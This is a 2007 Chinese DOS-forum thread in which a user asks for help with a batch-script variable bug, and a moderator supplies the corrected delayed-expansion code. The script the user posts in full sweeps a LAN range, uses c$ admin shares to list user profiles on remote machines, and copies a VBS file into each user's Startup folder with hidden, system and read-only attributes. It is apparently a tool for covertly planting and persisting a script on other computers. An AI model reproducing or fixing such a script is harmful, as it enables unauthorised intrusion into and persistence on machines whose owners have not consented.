中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 大家帮帮忙 看看 for 里面哪里不对
作者:
标题: 大家帮帮忙 看看 for 里面哪里不对 上一主题 | 下一主题
13579246810
初级用户





积分 45
发帖 21
注册 2007-3-14
状态 离线
『楼 主』:  大家帮帮忙 看看 for 里面哪里不对

setlocal
for /f "tokens=1 delims=< skip=1" %%h in ('nbtstat -a %1 ^|find "03"') do (
   echo %%h
   set aa=%%h: =%
   echo !aa!

以上时部分命令,这段的意思时 nbtstat -a 的 03 前面有空格,我不想要那些空格,只想要里面的数据,请问怎么办?

一下是全部命令:


@echo off
setlocal ENABLEDELAYEDEXPANSION
for /l %%i in (23,1,25) do ping 192.168.0.%%i -n 1 |find /i "reply" >>d:\jilu\jiluauto1.txt
for /f "tokens=3 delims=: " %%h in (d:\jilu\jiluauto1.txt) do (
   call :ks %%h
   )
goto end
:ks
ping %1 -n 1 |find /i "reply" >>d:\jilu\jiluauto.txt
net use \\%1  
dir /b \\%1\c$\docume~1 >>d:\jilu\jiluauto.txt
nbtstat -a %1 |find "03" >>d:\jilu\jiluauto.txt
for /f "skip=1" %%j in ('dir /b \\%1\c$\docume~1') do (
   copy "d:\jilu\mfk.vbs" "\\%1\c$\docume~1\%%j\「开始」菜单\程序\启动\mfk.vbs" >>d:\jilu\jiluauto.txt
   attrib "\\%1\c$\Documents and Settings\%%j\「开始」菜单\程序\启动\mfk.vbs" +h +r +a +s
) 2>nul
for /f "tokens=1 delims=< skip=1" %%h in ('nbtstat -a %1 ^|find "03"') do (
   echo %%h
   set aa=%%h: =%
   echo !aa!
   copy d:\jilu\mfk.vbs "\\%1\c$\Documents and Settings\!aa!\「开始」菜单\程序\启动\mfk.vbs" >>d:\jilu\jiluauto.txt
   attrib "\\%1\c$\Documents and Settings\!aa!\「开始」菜单\程序\启动\mfk.vbs" +h +r +a +s
) 2>nul
endlocal ENABLEDELAYEDEXPANSION
:end

[ Last edited by 13579246810 on 2007-4-10 at 12:54 PM ]

2007-4-11 01:38
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
lxmxn
版主




积分 11386
发帖 4938
注册 2006-7-23
状态 离线
『第 2 楼』:  


for /f "tokens=1 delims=< skip=1" %%h in ('nbtstat -a %1 ^|find "03"') do (
   set ok=%%h
   set ok=!ok: =!
   echo !ok!
)


2007-4-11 01:49
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
13579246810
初级用户





积分 45
发帖 21
注册 2007-3-14
状态 离线
『第 3 楼』:  谢谢 2 楼

谢谢 2 楼, 但这是什么原因啊?

2007-4-11 01:56
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
lxmxn
版主




积分 11386
发帖 4938
注册 2006-7-23
状态 离线
『第 4 楼』:  


搜索变量延迟相关的贴子你就知道啦。


2007-4-11 02:04
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: